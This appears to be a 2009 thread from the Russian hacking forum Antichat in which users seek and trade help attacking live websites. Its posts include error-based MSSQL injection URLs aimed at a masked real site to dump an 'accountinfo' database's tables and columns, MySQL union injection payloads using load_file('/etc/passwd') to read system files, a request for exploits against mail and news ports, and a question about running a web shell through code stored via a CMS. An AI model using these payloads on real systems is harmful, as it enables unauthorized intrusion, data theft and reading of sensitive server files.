ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
16.11.2009, 21:03
|
|
Постоянный
Регистрация: 13.11.2009
Сообщений: 437
Провел на форуме:
709575
Репутация:
17
|
|
каким актульным сплоитом можно атаковать 143 или 25 или 119
заранее спасибо
|
|
|
17.11.2009, 01:57
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503
Репутация:
229
|
|
Нужна помощь с ответами по этим вопросам: http://forum.antichat.ru/thread155501.html
|
|
|
|
17.11.2009, 04:41
|
|
Banned
Регистрация: 12.10.2009
Сообщений: 26
Провел на форуме:
60097
Репутация:
26
|
|
//база MSSQL
итак, вернёмся к моим баранам
из нужной базы которая называется accountinfo, вот этим запросом, я вытянул названи нужной мне таблицы
http://***************.com/********.asp?id=637&Type=0++and+1=convert(int,(sel ect+top+1+table_name+from+accountinfo.information_ schema.tables+where+table_name+NOT+IN+(select+top+0+table_name+from+accountinfo.information_schema.ta bles)+))--
она под номером 0 под названием sales_rpt
затем из этой таблицы я получил нужную мне колонку
http://***************.com/********.asp?id=637&Type=0++and+1=convert(int,(sel ect+top+1+column_name+from+accountinfo.information _schema.columns+where+column_name+NOT+IN+(select+t op+0+column_name+from+accountinfo.information_schema.c olumns)+))--
она тоже под номером 0 и называется accumulated_rp
так вот, в этой же базе под номером 7 таблица AccountInfo
из которой мне нужно вывести колонки, но у меня не получается вывести колонки. как правильно заепашить запрос?
пробовал так
http://***************.com/********.asp?id=637&Type=0++and+1=convert(int,(sel ect+AccountInfo+column_name+from+accountinfo.information_schema.c olumns+where+column_name+NOT+IN+(select+top+1+colu mn_name+from+accountinfo.information_schema.column s)+))--
но не выводит
Последний раз редактировалось [i]; 17.11.2009 в 04:43..
|
|
|
|
17.11.2009, 06:04
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
select column_name from accountinfo.information_schema.columns where table_name='AccountInfo'
не?(
|
|
|
|
17.11.2009, 12:19
|
|
Участник форума
Регистрация: 23.08.2007
Сообщений: 157
Провел на форуме:
1091601
Репутация:
19
|
|
Есть инъекция, делаю запрос на load_file и ничего не выходит,
xek%'/**/union/**/select/**/*/**/from/**/(select/**/*/**/from/**/(select/**/name_const(substr(load_file('/etc/passwd'),1),1),name_const(substr(load_file('/etc/passwd'),1),1))a)b/*
Что делаю нетак? двойной запрос..
запрос на просмотр таблиц выглядит так:
xek%'/**/union/**/select/**/*/**/from/**/(select/**/*/**/from/**/(select/**/name_const((select/**/table_name/**/from/**/information_schema.tables/**/limit/**/0,1),1),name_const((select/**/table_name/**/from/**/information_schema.tables/**/limit/**/0,1),1))a)b/*
Последний раз редактировалось M1ks; 17.11.2009 в 12:23..
|
|
|
|
17.11.2009, 13:01
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Сообщение от M1ks
Что делаю нетак?
Ты нифига не читаешь. Даже мою подпись 
двойной запрос, лоад_файл....
У меня возле компьютера стоит чашка с кофе, почему телефон не звонит, ведь сигареты кончились?
|
|
|
|
17.11.2009, 12:43
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912
Репутация:
4693
|
|
M1ks, а таблицы то выводятся?
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|
|
17.11.2009, 12:47
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912
Репутация:
4693
|
|
Значит прав нет. (FILE_PRIV = N ?)
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|
|
17.11.2009, 18:05
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 68
Провел на форуме:
330834
Репутация:
90
|
|
Собственно интересует вопрос по разграничению прав не веб-сервере.
Какие права присваиваются например веб-шеллу который исполняется по средствам например eval, т.е. например есть CMS через которую можно добавить какую-либо запись на сайт, и она записывается в БД к примеру так
Код:
----------------------------------------------
| id | author | text |
----------------------------------------------
| 22 | joker1 | <?phpinfo()?> |
----------------------------------------------
ну и выводится так:
PHP код:
<html>
<head>
</head>
<body>
<?php
// запрос к БД который получение данных например
// в массив и импортированный например extract() и вот на выходе имеется
?>
<br>автор: <?php echo $id; ?>
<br>текст:</br>
<?php echo $text; ?>
</body>
</html>
ну или подобный вариант с eval только вывод будет немного иначе.
ну и соответственно что динамически присваивается id и доступен по адресу например index?id=[num]
Какие права будут у этого допустим веб-шелла, если как вы понимаете указать тот же system() или eval()?
Если например ему присвоются права index.php, то почему например на практике, это срабатывает не всегда, когда например у того же index.php права 777 |
|
|
|
17.11.2009, 20:17
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857
Репутация:
504
|
|
Сообщение от Aртем
Какие права будут у этого допустим веб-шелла, если как вы понимаете указать тот же system() или eval()?
Если например ему присвоются права index.php, то почему например на практике, это срабатывает не всегда, когда например у того же index.php права 777
эм права у чего? ты о чем? у index.php нет прав. ты путаешь права пользователя на доступ(чтение, запись, исполнение) к файлам и аттрибуты файла показывающие каким пользователям разрешен доступ(чтение, запись, исполнение) к файлу.
и вообще почитай как-нибудь книгу о *nix'ax.
как я понял вопрос - так я на него и ответил
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [i]](/avatars/avatar100185.jpg?1694452){kind=avatar}
Похожие темы
Комбинированный вид